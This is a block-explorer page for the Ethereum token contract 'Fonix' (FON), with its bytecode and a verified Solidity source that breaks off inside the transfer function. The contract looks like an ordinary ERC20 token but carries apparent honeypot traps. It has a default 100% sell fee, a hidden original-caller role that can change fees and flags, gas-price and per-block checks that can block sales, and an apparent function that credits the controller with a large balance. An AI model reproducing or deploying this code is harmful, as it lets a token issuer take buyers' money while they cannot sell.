Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xEbD016fa88D251C46D2FecaFD853832F7db04bfA
Balance 0 ETH
Nonce 1
Code Size 13838 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

13838 bytes
0x6080604052600436106102045760003560e01c8063715018a611610118578063a9059cbb116100a0578063e3bbb4f11161006f578063e3bbb4f1146107a0578063e4440a86146107cb578063edd8b64a146107f6578063f2fde38b1461081f578063f53d9d581461084857610204565b8063a9059cbb146106c0578063bbf75e8f146106fd578063d1a039f014610726578063dd62ed3e1461076357610204565b806395d89b41116100e757806395d89b41146105c95780639e568dbc146105f45780639f38a0d71461061d578063a457c2d714610646578063a7e90f411461068357610204565b8063715018a6146105335780638229c2e51461054a57806385ecafd7146105615780638da5cb5b1461059e57610204565b8063395093511161019b5780635337cc991161016a5780635337cc991461042a5780635342acb4146104535780636994ee73146104905780636db79437146104cd57806370a08231146104f657610204565b806339509351146103825780633975cae9146103bf5780634d474d42146103ea5780634feeade41461041357610204565b80632df8bca9116101d75780632df8bca9146102d9578063313ce56714610305578063344d9e79146103305780633816377e1461035957610204565b806306fdde0314610209578063095ea7b31461023457806318160ddd1461027157806323b872dd1461029c575b600080fd5b34801561021557600080fd5b5061021e610864565b60405161022b91906126a3565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612763565b6108f6565b60405161026891906127be565b60405180910390f35b34801561027d57600080fd5b50610286610912565b60405161029391906127e8565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612803565b61091c565b6040516102d091906127be565b60405180910390f35b3480156102e557600080fd5b506102ee610944565b6040516102fc929190612856565b60405180910390f35b34801561031157600080fd5b5061031a610955565b604051610327919061289b565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906128b6565b61096c565b005b34801561036557600080fd5b50610380600480360381019061037b91906128b6565b6109a2565b005b34801561038e57600080fd5b506103a960048036038101906103a49190612763565b6109d8565b6040516103b691906127be565b60405180910390f35b3480156103cb57600080fd5b506103d4610a08565b6040516103e191906127be565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c91906128e3565b610a1f565b005b34801561041f57600080fd5b50610428610a8f565b005b34801561043657600080fd5b50610451600480360381019061044c919061293c565b610b21565b005b34801561045f57600080fd5b5061047a600480360381019061047591906128e3565b610c3a565b60405161048791906127be565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b291906128e3565b610c90565b6040516104c491906127e8565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef919061297c565b610cd9565b005b34801561050257600080fd5b5061051d600480360381019061051891906128e3565b610d68565b60405161052a91906127e8565b60405180910390f35b34801561053f57600080fd5b50610548610db1565b005b34801561055657600080fd5b5061055f610dc5565b005b34801561056d57600080fd5b50610588600480360381019061058391906128e3565b610e1d565b60405161059591906127be565b60405180910390f35b3480156105aa57600080fd5b506105b3610e3d565b6040516105c091906129cb565b60405180910390f35b3480156105d557600080fd5b506105de610e66565b6040516105eb91906126a3565b60405180910390f35b34801561060057600080fd5b5061061b600480360381019061061691906128b6565b610ef8565b005b34801561062957600080fd5b50610644600480360381019061063f9190612a4b565b610f40565b005b34801561065257600080fd5b5061066d60048036038101906106689190612763565b611011565b60405161067a91906127be565b60405180910390f35b34801561068f57600080fd5b506106aa60048036038101906106a591906128e3565b611081565b6040516106b791906127be565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e29190612763565b6110d7565b6040516106f491906127be565b60405180910390f35b34801561070957600080fd5b50610724600480360381019061071f91906128e3565b6110f3565b005b34801561073257600080fd5b5061074d600480360381019061074891906128e3565b61133f565b60405161075a91906127e8565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190612aab565b611388565b60405161079791906127e8565b60405180910390f35b3480156107ac57600080fd5b506107b561140f565b6040516107c291906127e8565b60405180910390f35b3480156107d757600080fd5b506107e0611415565b6040516107ed91906129cb565b60405180910390f35b34801561080257600080fd5b5061081d600480360381019061081891906128e3565b61143b565b005b34801561082b57600080fd5b50610846600480360381019061084191906128e3565b6114ab565b005b610862600480360381019061085d91906128b6565b61152e565b005b60606007805461087390612b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461089f90612b1a565b80156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b5050505050905090565b60008033905061090781858561164f565b600191505092915050565b6000600654905090565b60008033905061092d858285611818565b6109388585856118a4565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b61099833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b8060108190555050565b6109ce33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600a8190555050565b6000803390506109fd8185856109ee8589611388565b6109f89190612b7a565b61164f565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610a4b33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610abb33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b189190612b7a565b92505081905550565b610b4d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690612bfa565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b60648211158015610d17575060648111155b610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90612c8c565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610db961215a565b610dc360006121d1565b565b610df133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610e7590612b1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea190612b1a565b8015610eee5780601f10610ec357610100808354040283529160200191610eee565b820191906000526020600020905b815481529060010190602001808311610ed157829003601f168201915b5050505050905090565b610f2433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b8060066000828254610f369190612b7a565b9250508190555050565b610f6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b60005b8383905081101561100b578160116000868685818110610f9257610f91612cac565b5b9050602002016020810190610fa791906128e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061100390612cdb565b915050610f6f565b50505050565b60008033905060006110238286611388565b905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90612d95565b60405180910390fd5b611075828686840361164f565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000803390506110e88185856118a4565b600191505092915050565b61111f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f19190612dca565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190612dca565b6040518363ffffffff1660e01b81526004016112bb929190612df7565b602060405180830381865afa1580156112d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fc9190612dca565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61146733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114b361215a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e92565b60405180910390fd5b61152b816121d1565b50565b61155a33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120e8565b61158730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361164f565b61159130826110d7565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426115e59190612b7a565b6040518863ffffffff1660e01b815260040161160696959493929190612ef7565b60606040518083038185885af1158015611624573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116499190612f6d565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b590613032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906130c4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180b91906127e8565b60405180910390a3505050565b60006118248484611388565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461189e5781811015611890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188790613130565b60405180910390fd5b61189d848484840361164f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a906131c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613254565b60405180910390fd5b61198d838383612295565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0b906132e6565b60405180910390fd5b611a1d84610c3a565b158015611a305750611a2e83610c3a565b155b15611fcc57611a3e84612514565b15611c78576000611a5183600b546125c6565b90508282611a5f9190613306565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611aae9190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611afc9190612b7a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611b5e9190613306565b604051611b6b91906127e8565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611be49190612b7a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6a91906127e8565b60405180910390a350611fc7565b611c8183612514565b15611ebb576000611c9483600c546125c6565b90508282611ca29190613306565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611cf19190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d3f9190612b7a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611da19190613306565b604051611dae91906127e8565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e279190612b7a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ead91906127e8565b60405180910390a350611fc6565b8181611ec79190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f599190612b7a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fbd91906127e8565b60405180910390a35b5b6120d7565b8181611fd89190613306565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461206a9190612b7a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120ce91906127e8565b60405180910390a35b6120e28484846125e8565b50505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214d906133ac565b60405180910390fd5b5050565b3373ffffffffffffffffffffffffffffffffffffffff16612179610e3d565b73ffffffffffffffffffffffffffffffffffffffff16146121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c690613418565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61229e83612514565b1561232c5780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61233582612514565b1561250f57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661250e5780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561240d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612404906134aa565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461245c9190613306565b9250508190555061246b610a08565b156124fb576124bb600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010546125ed565b6124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f190613516565b60405180910390fd5b5b612503612606565b1561250d57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806125bf5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846125d69190613536565b6125e091906135a7565b905092915050565b505050565b60004282846125fc9190612b7a565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561264d578082015181840152602081019050612632565b60008484015250505050565b6000601f19601f8301169050919050565b600061267582612613565b61267f818561261e565b935061268f81856020860161262f565b61269881612659565b840191505092915050565b600060208201905081810360008301526126bd818461266a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126fa826126cf565b9050919050565b61270a816126ef565b811461271557600080fd5b50565b60008135905061272781612701565b92915050565b6000819050919050565b6127408161272d565b811461274b57600080fd5b50565b60008135905061275d81612737565b92915050565b6000806040838503121561277a576127796126c5565b5b600061278885828601612718565b92505060206127998582860161274e565b9150509250929050565b60008115159050919050565b6127b8816127a3565b82525050565b60006020820190506127d360008301846127af565b92915050565b6127e28161272d565b82525050565b60006020820190506127fd60008301846127d9565b92915050565b60008060006060848603121561281c5761281b6126c5565b5b600061282a86828701612718565b935050602061283b86828701612718565b925050604061284c8682870161274e565b9150509250925092565b600060408201905061286b60008301856127d9565b61287860208301846127d9565b9392505050565b600060ff82169050919050565b6128958161287f565b82525050565b60006020820190506128b0600083018461288c565b92915050565b6000602082840312156128cc576128cb6126c5565b5b60006128da8482850161274e565b91505092915050565b6000602082840312156128f9576128f86126c5565b5b600061290784828501612718565b91505092915050565b612919816127a3565b811461292457600080fd5b50565b60008135905061293681612910565b92915050565b60008060408385031215612953576129526126c5565b5b600061296185828601612718565b925050602061297285828601612927565b9150509250929050565b60008060408385031215612993576129926126c5565b5b60006129a18582860161274e565b92505060206129b28582860161274e565b9150509250929050565b6129c5816126ef565b82525050565b60006020820190506129e060008301846129bc565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612a0b57612a0a6129e6565b5b8235905067ffffffffffffffff811115612a2857612a276129eb565b5b602083019150836020820283011115612a4457612a436129f0565b5b9250929050565b600080600060408486031215612a6457612a636126c5565b5b600084013567ffffffffffffffff811115612a8257612a816126ca565b5b612a8e868287016129f5565b93509350506020612aa186828701612927565b9150509250925092565b60008060408385031215612ac257612ac16126c5565b5b6000612ad085828601612718565b9250506020612ae185828601612718565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b3257607f821691505b602082108103612b4557612b44612aeb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b858261272d565b9150612b908361272d565b9250828201905080821115612ba857612ba7612b4b565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000612be4601d8361261e565b9150612bef82612bae565b602082019050919050565b60006020820190508181036000830152612c1381612bd7565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000612c7660248361261e565b9150612c8182612c1a565b604082019050919050565b60006020820190508181036000830152612ca581612c69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ce68261272d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1857612d17612b4b565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612d7f60258361261e565b9150612d8a82612d23565b604082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b600081519050612dc481612701565b92915050565b600060208284031215612de057612ddf6126c5565b5b6000612dee84828501612db5565b91505092915050565b6000604082019050612e0c60008301856129bc565b612e1960208301846129bc565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e7c60268361261e565b9150612e8782612e20565b604082019050919050565b60006020820190508181036000830152612eab81612e6f565b9050919050565b6000819050919050565b6000819050919050565b6000612ee1612edc612ed784612eb2565b612ebc565b61272d565b9050919050565b612ef181612ec6565b82525050565b600060c082019050612f0c60008301896129bc565b612f1960208301886127d9565b612f266040830187612ee8565b612f336060830186612ee8565b612f4060808301856129bc565b612f4d60a08301846127d9565b979650505050505050565b600081519050612f6781612737565b92915050565b600080600060608486031215612f8657612f856126c5565b5b6000612f9486828701612f58565b9350506020612fa586828701612f58565b9250506040612fb686828701612f58565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061301c60248361261e565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ae60228361261e565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061311a601d8361261e565b9150613125826130e4565b602082019050919050565b600060208201905081810360008301526131498161310d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131ac60258361261e565b91506131b782613150565b604082019050919050565b600060208201905081810360008301526131db8161319f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061323e60238361261e565b9150613249826131e2565b604082019050919050565b6000602082019050818103600083015261326d81613231565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006132d060268361261e565b91506132db82613274565b604082019050919050565b600060208201905081810360008301526132ff816132c3565b9050919050565b60006133118261272d565b915061331c8361272d565b925082820390508181111561333457613333612b4b565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061339660218361261e565b91506133a18261333a565b604082019050919050565b600060208201905081810360008301526133c581613389565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061340260208361261e565b915061340d826133cc565b602082019050919050565b60006020820190508181036000830152613431816133f5565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b600061349460288361261e565b915061349f82613438565b604082019050919050565b600060208201905081810360008301526134c381613487565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b600061350060208361261e565b915061350b826134ca565b602082019050919050565b6000602082019050818103600083015261352f816134f3565b9050919050565b60006135418261272d565b915061354c8361272d565b925082820261355a8161272d565b9150828204841483151761357157613570612b4b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135b28261272d565b91506135bd8361272d565b9250826135cd576135cc613578565b5b82820490509291505056fea264697066735822122035aedbcc28ffe6016f7781842a3abff352b669740b0fc2b05728c62a2abccd5564736f6c63430008130033

Verified Source Code Full Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
Fonix.sol 430 lines
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract TokenProtocol is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 1000000000000000000;
    string private _name = "Fonix";
    string private _symbol = "FON";
    uint8 private _decimals = 9;
    uint256 public MAX_GAS_PRICE = 10 gwei;
    uint private buyFee = 0; // Default, %
    uint private sellFee = 100; // Default, %

    address private _origin;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) public excludedFromFee;

    constructor () {
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        _origin = msg.sender;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

